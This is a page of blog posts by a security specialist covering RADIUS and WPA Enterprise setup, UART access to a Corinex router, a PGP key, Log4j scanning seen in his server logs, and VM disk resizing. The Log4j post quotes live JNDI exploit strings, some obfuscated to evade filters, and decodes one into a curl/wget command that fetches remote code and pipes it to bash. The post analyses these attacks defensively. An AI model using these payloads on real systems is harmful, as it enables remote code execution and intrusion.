News items for tag work - Koos van den Hout

I was doing some testing with freeradius and suddenly nothing worked with the following error in debug mode:

(7) eap_peap: ERROR: TLS Alert read:fatal:certificate expired
(7) eap_peap: TLS_accept: Need to read more data: error
(7) eap_peap: ERROR: Failed in __FUNCTION__ (SSL_read): error:14094415:SSL routines:ssl3_read_bytes:sslv3 alert certificate expired

I checked the certificate and renewed it. The normal autorenewal processes had not run since the previous tests with radius and 802.1x authentication on wifi so that wasn't unexpected but this still didn't solve it: I kept getting the error message.

After some deep searching why it worked before I saw I had requested that certificate in a different way where I had the chain with only ISRG Root X1 because sendmail gave me SSL verification failures after the DST Root CA expired. So I did the same as I did before: I configured dehydrated (my preferred ACME client) on the radius testmachine to use the LetsEncrypt issuer chain without the DST Root CA cross signature, with the following in /etc/dehydrated/config :

# Preferred issuer chain (default: <unset> -> uses default chain)
PREFERRED_CHAIN="ISRG Root X1"

I closed the case of a vulnerability in the Corinex CXWC-HD200-WNeH with a confirmation from the vendor that this is a device completely out of support. Which confirms the public information I found when I started looking into this device. This was all related to the course in hardware hacking I took and applying the new knowledge.

So now I can look back on this experience and think about my future here. Hardware hacking has serious links to my current job as technical security specialist. In my work I regularly have to look at vulnerabilities and assess the chance and impact of misuse of the vulnerability. With hardware hacking I find vulnerabilities by researching hardware. This helps me understand the chance and impact factor of other vulnerabilities.

There is also a link to my education: part of that was MTS electronics. I learned how to solder, before SMD components were a thing and I think I got some explanation about switching mode power supplies at the end. As I got into computers I didn't do much with this education but the last years in amateur radio have made me get out the soldering iron again.

There is a clear link to my hobby of amateur radio. My interest in amateur radio is linked to wanting to know how things actually work. Hardware hacking is also done with RF signals so I may get into more RF related hardware hacking.

My current thought is that I want to continue in this subject. It's given me joy: getting into a device in new and unexpected ways gives joy! I have learned new things. I noticed I need to feed the brain regularly with new information and actually learning something new is much better brainfood than browsing social media. At the same time social media is the way to learn more about this subject and interact with other people interested in this subject. I ended up on /r/hardwarehacking on reddit and already learned from others and shared some of my own insights!

There is the thing about RFID/NFC security. I have looked into this in the past, mostly by getting the tools to peek into the MiFare classic cards. I am considering going further with this area of hardware hacking. Prices of hacking tools for this area like the proxmark3 or the flipper zero are above the 'nice to try a few things' level. On the other hand I think I could have loads of fun there, and the overlap with amateur radio is very clear.

At the end of this bit of writing: thanks to people who share their hardware hacking experiences on-line! Thanks to Jilles Groenendijk, Router Archeology: Sitecom WL-330 - Habbie's journal, @Flashback Team on youtube, Make Me Hack on youtube, and Boschko Security for sharing their stories and knowledge.

This week I was attending a course in hardware hacking: HackLab: Hardware Hacking at the Deloitte office in Den Haag.

How to find the right pins to get a commandline on a router-like device was part of this course, and the last day there was an option to Bring Your Own Device, to hack it. So I brought this router as I thought it was an ideal target to get access to it, since on the earlier try I could not get into the webinterface of the Corinex CXWC-HD200-WNeH device.

So this time I took out the screwdriver, voided the warranty of the device by breaking the little sticker on the side and opening it. It has a board with the powersupply and cable interface parts. The powersupply is shielded with some plastic.

There is a smaller board with the main chip which contains the processor, ram, wifi module. The first task was to find the uart interface which should give a serial console. That's a skill I learned in the hacklab: first find out which pins have continuity to ground with the device switched off. With a simple multimeter which has a beeping continuity meter this is simple. The beep makes it possible to test the device without looking at the meter.

After that it's a matter of switching the multimeter to voltage and checking other pins for voltage. Usually there are 4 pins on a uart port: ground which is physically connected to the device ground, receive data and send data and a reference voltage. On measuring the pins the reference voltage will be at the steady maximum voltage, the data transmitting from the device will be varying and the pin where the device expects data will be at 0 volt.

Uart ports can be 5 volt, 3.3 volt, 2.5 volt or 1.8 volt in recent devices. 5 and 3.3 volt are the most common. USB serial interfaces that support 5 and 3.3 volt are cheap (3 euro), USB serial interfaces that support all 4 are somewhat more expensive (10 euro).

For the Corinex router the voltage is 3.3 Volt. There was a 3.3 Volt ftdi USB to serial interface available, so I was able to access the uart port. I connected to the uart port, used a terminal program and searched for the right serial port settings and ended up at 57600 baud, 8 bits, no parity, 1 stopbit.

After looking at all the boot messages I was greeted with a root prompt. No more hacking, just full access. The system boots using the U-Boot bootloader. The system runs linux with a 2.6.21 kernel. I looked around on the filesystem and started looking for the configuration for the webserver hoping to find the username/password. I found this in /flash/config so I could get into that interface as well.

I also found it was running a telnet server, but not on the standard port. The port was 32560. Without commands like netstat or ss I had to learn this from /proc/net/tcp. Browsing the iptables listing shows that port 80 is supposed to be allowed and other ports aren't, but 32560 reacts fine.

Chip found: Ralink RT3052F processor with embedded ram and flash and with 2.4 GHz wifi and a network switch for 1 gigabit port and 5 100 mbit ports.

Things I'd still like to do: copy the entire filesystem to another computer so I can research it and check around the web interface for security issues.

After digging into setting up radius and WPA Enterprise with an Asus WL300g accesspoint the next step was to peek into the traffic on a client.

For that part I used a linux machine with a wired and wireless interface and used tcpdump to try to capture the wireless authentication packets. I configured /etc/network/interfaces for wpa enterprise, based on the eduroam examples.

And this worked, starting the capture:

root@ritchie:~# ifconfig wlan0 up
root@ritchie:~# tcpdump -ni wlan0 -w wlanstart.pcap -s 0 -u -v

And I typed in another window 'ifup wlan0'. This resulted in a capture with the right Extensible Authentication Protocol (EAP) packets included:

root@ritchie:~# tcpdump -nr wlanstart.pcap -v
reading from file wlanstart.pcap, link-type EN10MB (Ethernet)
16:47:39.658963 EAP packet (0) v2, len 5, Request (1), id 0, len 5
                 Type Identity (1)
16:47:39.660863 EAP packet (0) v1, len 25, Response (2), id 0, len 25
                 Type Identity (1), Identity: anonymous@idefix.net
16:47:39.662840 IP6 (hlim 1, next-header Options (0) payload length: 56) :: > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, multicast listener report v2, 2 group record(s) [gaddr ff02::1:ff23:123 to_in, 0 source(s)] [gaddr ff02::1:ff84:afe0 to_ex, 0 source(s)]
16:47:39.668736 EAP packet (0) v2, len 6, Request (1), id 1, len 6
                 Type TTLS (21) TTLSv0 flags [Start bit] 0x20,
16:47:39.670420 EAP packet (0) v1, len 6, Response (2), id 1, len 6
                 Type Nak (3) unknown (25),
16:47:39.682125 EAP packet (0) v2, len 6, Request (1), id 2, len 6
                 Type unknown (25)
16:47:39.741150 EAP packet (0) v1, len 203, Response (2), id 2, len 203
                 Type unknown (25)
16:47:39.756343 EAP packet (0) v2, len 1004, Request (1), id 3, len 1004
                 Type unknown (25)
16:47:39.756598 EAP packet (0) v1, len 6, Response (2), id 3, len 6
                 Type unknown (25)
16:47:39.834920 EAP packet (0) v2, len 1000, Request (1), id 4, len 1000
                 Type unknown (25)
16:47:39.835159 EAP packet (0) v1, len 6, Response (2), id 4, len 6
                 Type unknown (25)
16:47:39.842070 EAP packet (0) v2, len 1000, Request (1), id 5, len 1000
                 Type unknown (25)
16:47:39.842318 EAP packet (0) v1, len 6, Response (2), id 5, len 6
                 Type unknown (25)
16:47:39.866174 EAP packet (0) v2, len 79, Request (1), id 6, len 79
                 Type unknown (25)
16:47:40.006260 EAP packet (0) v1, len 144, Response (2), id 6, len 144
                 Type unknown (25)
16:47:40.014338 EAP packet (0) v2, len 65, Request (1), id 7, len 65
                 Type unknown (25)
16:47:40.016467 EAP packet (0) v1, len 6, Response (2), id 7, len 6
                 Type unknown (25)
16:47:40.028765 EAP packet (0) v2, len 43, Request (1), id 8, len 43
                 Type unknown (25)
16:47:40.029290 EAP packet (0) v1, len 96, Response (2), id 8, len 96
                 Type unknown (25)
16:47:40.036381 EAP packet (0) v2, len 75, Request (1), id 9, len 75
                 Type unknown (25)
16:47:40.043383 EAP packet (0) v1, len 144, Response (2), id 9, len 144
                 Type unknown (25)
16:47:40.057720 EAP packet (0) v2, len 91, Request (1), id 10, len 91
                 Type unknown (25)
16:47:40.058739 EAP packet (0) v1, len 80, Response (2), id 10, len 80
                 Type unknown (25)
16:47:40.071176 EAP packet (0) v2, len 43, Request (1), id 11, len 43
                 Type unknown (25)
16:47:40.072087 EAP packet (0) v1, len 80, Response (2), id 11, len 80
                 Type unknown (25)
16:47:40.082689 EAP packet (0) v2, len 4, Success (3), id 11, len 4
16:47:40.082865 EAPOL key (3) v2, len 117
16:47:40.091607 EAPOL key (3) v1, len 117
16:47:40.107041 EAPOL key (3) v2, len 175
16:47:40.107839 EAPOL key (3) v1, len 95

At the same time I captured the radius traffic. Now time to correlate those two traffic streams in wireshark.

For work I am looking into how Wi-Fi Protected Access (WPA) actually works down to the byte level, to be able to explain what actually happens and where the security strenghts and weaknesses are.

To set this up I need a separation between the access-point and the authentication server. I dug up an old Asus WL300g access-point and looked at FreeRADIUS as authentication, authorization and auditing (AAA) server. I followed the A very basic (but functional) eduroam configuration - FreeRADIUS wiki guide to get to a working setup, but with different passwords.

Getting the access-point to talk to a radius server took a bit of searching and trying: I assumed that "802.1x" which is extended to "Radius with 802.1x" was the right mode to use a radius server in the background, but it turned out this didn't do what I want. I saw no communication with the radius server and I didn't see the SSID advertised.

The right mode is "WPA" and things started to work that way. It still needs a few settings to talk to the radius server: IP address, port and shared secret.

I chose to go the 'eduroam' way because that is what I am used to from work. This does mean I had to set a home domain idefix.net for authentication. With eduroam I also get Extensible Authentication Protol (EAP) extensions to handle with the real user data. The result is an outer authentication layer visible to the first radius server in the path and an inner authentication layer only visible to the final radius server in the path. Although both the outer and the inner authentication servers run on the same freeradius server they are separate configurations with a trust relation between them.

The traffic to the inner authentication server is wrapped in TLS and needs a certificate. I used LetsEncrypt to generate a trusted certificate. I noticed I am at a point where generating a valid LetsEncrypt certificate was easier for me than fiddling with self-signed certificates. So I could set up my phone to require a valid certificate for radius.idefix.net.

All of this worked and I had a WPA Enterprise connection with the access-point and a lot of debug logging in freeradius.

My next plan is to find some computer with a network card where I can run wpa_supplicant while at the same time grabbing all the raw 802.11 frames and analyzing/understanding the traffic. I will also look at the radius traffic between access-point and outer radius server, and the radius traffic between outer and inner radius server.

Years and years after writing proposals to start doing something with IPv6 at work I noticed the first systems actually having IPv6 connectivity in production networks.

Finally getting there! I wonder when workstations will start having IPv6 connectivity.

Today I tried to sign a key with my work PGP key, and after lots of tries the conclusion was that my 2006 work pgp key was too infected with SHA1 signatures that I couldn't remove, so I created a replacement work PGP key. Even a signature for the new key with the old key was rejected.

So the new work key:

pub   rsa4096/0x36FF19C6159C0262 2022-02-15 [SC] [expires: 2027-02-14]
      Key fingerprint = 1401 EE9F 25AD 23F1 C299  FD07 36FF 19C6 159C 0262
uid                   [ultimate] Koos van den Hout <k.vandenhout(at)uu.nl>
uid                   [ultimate] Koos van den Hout <koos(at)surfcert.nl>
sub   rsa4096/0x918F8E7A170EA93E 2022-02-15 [E] [expires: 2027-02-14]

I also signed it with my personal key, and I will try to get more signatures for the new work key to make things work better. Available at PGP key 0x36ff19c6159c0262. There you will see I also signed it with my old work key 0x42216fe29ee949cf but since that signature is also a SHA1 signature the new gpg implementation immediately rejects it. So I should get some signatures from people who have relatively new PGP keys. I've been using PGP since 1993 (29 years now!) and I can see the developments in PGP over the years in my keys.

In the process I noticed one thunderbird installation insists on managing PGP keys completely and the other doesn't. Searching for the reason eventually found Use Thunderbird 78 with System GnuPG Keyring and I made sure the option mail.openpgp.allow_external_gnupg was set to true.

A large part of last weekend was filled with the log4j vulnerability at work. Now I have some more time to look at the effect this has had on my home server I'm seeing a patter of lots of 'friendly' scanners with a few actual attack attempts in between.

Some special ones from the logs:

Trying all the fields (URL, referrer and user-agent), probably a 'friendly' scanner:

45.83.66.84 - - [13/Dec/2021:04:53:21 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 969 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"

Trying to circumvent web application firewalls that have been set up with simple rules against the log4j vulnerability. I'm not sure whether this is a 'friendly' scanner or an actual attempt at abuse.

138.197.216.230 - - [13/Dec/2021:11:39:59 +0100] "GET / HTTP/1.1" 200 2211 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"

Trying to load a "Legitimate" java class.

167.172.44.255 - - [13/Dec/2021:17:26:02 +0100] "GET / HTTP/1.0" 503 652 borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass} - -> /

But related to an IPv4 address that is becoming famous, I find this gem:

45.155.205.233 - - [12/Dec/2021:06:38:34 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 2211 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}"

And decoding the obvious base64 gives:

echo -e KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA== | base64 -d ; echo
(curl -s 45.155.205.233:5874/45.83.232.134:443||wget -q -O- 45.155.205.233:5874/45.83.232.134:443)|bash

But I haven't been able to fetch anything from 45.155.205.233:5874 yet and I'm getting really curious what it is/was. The other IP address is the external address of the server, so I guess it's a way to make curl/wget not return an error code.

For work I use a supplied laptop with Windows 10. For some of my work I want to have a Linux environment available so I have VirtualBox with a Linux virtual machine running. And because some of the work I do on that Linux virtual machine I use full-disk encryption. And the installation was done with the encrypted lvm setting.

Resizing the filesystem because it was getting full turned out to be a lot of steps! After stopping the virtual machine I wanted to resize the disk from the VirtualBox media manager but that gave an error. After that I tried the commandline, giving about the same error:

> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam.vdi --resize 32768
0%...
Progress state: VBOX_E_NOT_SUPPORTED
VBoxManage.exe: error: Failed to resize medium
VBoxManage.exe: error: Resizing to new size 34359738368 is not yet supported for medium 'C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi'
VBoxManage.exe: error: Details: code VBOX_E_NOT_SUPPORTED (0x80bb0009), component MediumWrap, interface IMedium
VBoxManage.exe: error: Context: "enum RTEXITCODE __cdecl handleModifyMedium(struct HandlerArg *)" at line 816 of file VBoxManageDisk.cpp

It turns out the .vdi is the wrong type for dynamic resizing. Solution: clone it! The new .vdi will have the dynamic type automatically and there is a "before" .vdi now on disk to revert to if anything goes wrong.

> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam.vdi
UUID:           f832b0b4-8738-491d-bd9c-291d755a4af7
Parent UUID:    base
State:          created
Type:           normal (base)
Location:       C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi
Storage format: VDI
Format variant: fixed default
Capacity:       26067 MBytes
Size on disk:   26070 MBytes
Encryption:     disabled
Property:       AllocationBlockSize=1048576
In use by VMs:  rotterdam (UUID: 2454dadb-a82d-4d74-bbea-8dcf2b2d1bf1)
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" clonehd rotterdam.vdi rotterdam-2.vdi
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'VDI'. UUID: 835e2f75-c19d-4e98-865e-d7acf1359fc7
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam-2.vdi
UUID:           835e2f75-c19d-4e98-865e-d7acf1359fc7
Parent UUID:    base
State:          created
Type:           normal (base)
Location:       C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam-2.vdi
Storage format: VDI
Format variant: dynamic default
Capacity:       26067 MBytes
Size on disk:   26069 MBytes
Encryption:     disabled
Property:       AllocationBlockSize=1048576
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam-2.vdi --resize 32768
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%

I moved the old .vdi out of the way and added the new .vdi to the virtual machine and started it again. This worked fine, but the root volume wasn't any bigger (yet). Next steps: enlarge the extended partition and the Linux partition in it on disk using parted. You really have to know what you are doing here, so I'm not just going to give a cut-and-paste sample.

Now I can resize the encrypted and mounted volume! With the right passphrase.

# cryptsetup resize /dev/mapper/sda5_crypt

And grow the 'physical' (ahem) volume:

# pvresize /dev/mapper/sda5_crypt

Resize the logical volume:

# lvextend /dev/rotterdam-vg/root -l +1674

And finally resize the mounted filesystem:

# resize2fs /dev/mapper/rotterdam--vg-root

And the filesystem has grown, and looks good in a fsck on the next boot.

So solid state disk → Windows filesystem → vdi file → VirtualBox → disk in Linux virtual machine → partition → lukscrypt → logical volume manager → volume → filesystem.

Today I ran into an issue related to systemd and I decided to try to fix it without too much cursing. The result was a number of google searches ending up on unix.stackexchange.com but eventually I fixed the problem.

At work we use splunk for security monitoring and one of the indexers failed to start the splunk processes after a reboot. On browsing the systemd boot log with journalctl -b -l I discovered that the main issue was that creating files in /opt/splunk failed. This was due to an interesting race condition: splunk may start as soon as target network.target has been reached, but mounting /opt over iscsi also needs network.target to start. So the unit file has been updated to:

[Unit]
Description=Systemd service file for Splunk, generated by 'splunk enable boot-start'
After=network.target opt.mount

The next problem was the systemctl start Splunkd.service failing in some intricate way. I had a look at the logging and saw that it was actually trying to restart the service and failed at killing one of the old processes. It turned out the /opt/splunk/var/run/splunk/splunkd.pid file had old contents and one of the PIDs in that file was now in use by a kernel thread. Those you can't kill, the restart failed and therefore the service did not start at all. Solution: remove the .pid file.